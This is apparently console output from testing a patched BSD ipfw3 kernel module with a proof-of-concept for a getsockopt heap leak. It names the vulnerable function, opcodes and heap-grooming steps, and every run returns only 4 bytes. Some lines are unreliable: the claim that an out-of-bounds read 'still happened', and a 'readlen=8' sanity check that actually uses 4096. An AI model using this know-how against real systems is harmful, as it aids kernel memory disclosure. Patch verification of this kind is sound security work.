=== PATCHED module loaded? ===
 4    2 0xffffffff82600000     7000 ipfw3.ko
 5    1 0xffffffff82607000    95000 ipfw3_basic.ko
sha on disk: f44f0a2aa38c4a4a0f581b1133f34a736c3e19eb55ed715703c41d297daf3ce5
=== RUN PoC on PATCHED module (readlen 4096) ===
[*] DF-2592 ip_fw3_ctl_set_get unbounded bcopy heap leak
[*] getsockopt(IPPROTO_IP, IP_FW_X=49, opcode=IP_FW_SET_GET=95) readlen=4096
[*] ctx->sets is a single uint32_t (4 bytes); we read 4096 bytes -> 4088 leaked
[*] churning kernel heap (pipes/sockets) to populate slab residue...
[+] raw socket opened fd=3
[*] getsockopt len=4096 (before)
[*] getsockopt rc=0 errno=0 (Undefined error: 0) returned len=4
[*] got=4 bytes back; nonzero total=0, after[4]=0, after[36]=0
[*] ctx->sets = 0x00000000
[~] no nonzero bytes past offset 4 in this run (heap may be clean);
    the OOB read still happened (got=4 bytes from a 4-byte field).
[*] done
POC_RC=3

=== RUN again (readlen 8192) ===
[*] DF-2592 ip_fw3_ctl_set_get unbounded bcopy heap leak
[*] getsockopt(IPPROTO_IP, IP_FW_X=49, opcode=IP_FW_SET_GET=95) readlen=8192
[*] ctx->sets is a single uint32_t (4 bytes); we read 8192 bytes -> 8184 leaked
[*] churning kernel heap (pipes/sockets) to populate slab residue...
[+] raw socket opened fd=3
[*] getsockopt len=8192 (before)
[*] getsockopt rc=0 errno=0 (Undefined error: 0) returned len=4
[*] got=4 bytes back; nonzero total=0, after[4]=0, after[36]=0
[*] ctx->sets = 0x00000000
[~] no nonzero bytes past offset 4 in this run (heap may be clean);
    the OOB read still happened (got=4 bytes from a 4-byte field).
[*] done
POC_RC2=3

=== sanity: a normal small read (readlen=8 -> gets 4 bytes sets only) still works ===
[*] DF-2592 ip_fw3_ctl_set_get unbounded bcopy heap leak
[*] getsockopt(IPPROTO_IP, IP_FW_X=49, opcode=IP_FW_SET_GET=95) readlen=4096
[*] ctx->sets is a single uint32_t (4 bytes); we read 4096 bytes -> 4088 leaked
[*] churning kernel heap (pipes/sockets) to populate slab residue...
[+] raw socket opened fd=3
[*] getsockopt len=4096 (before)
[*] getsockopt rc=0 errno=0 (Undefined error: 0) returned len=4
[*] got=4 bytes back; nonzero total=0, after[4]=0, after[36]=0
[*] ctx->sets = 0x00000000
[~] no nonzero bytes past offset 4 in this run (heap may be clean);
    the OOB read still happened (got=4 bytes from a 4-byte field).
[*] done
POC_RC3=3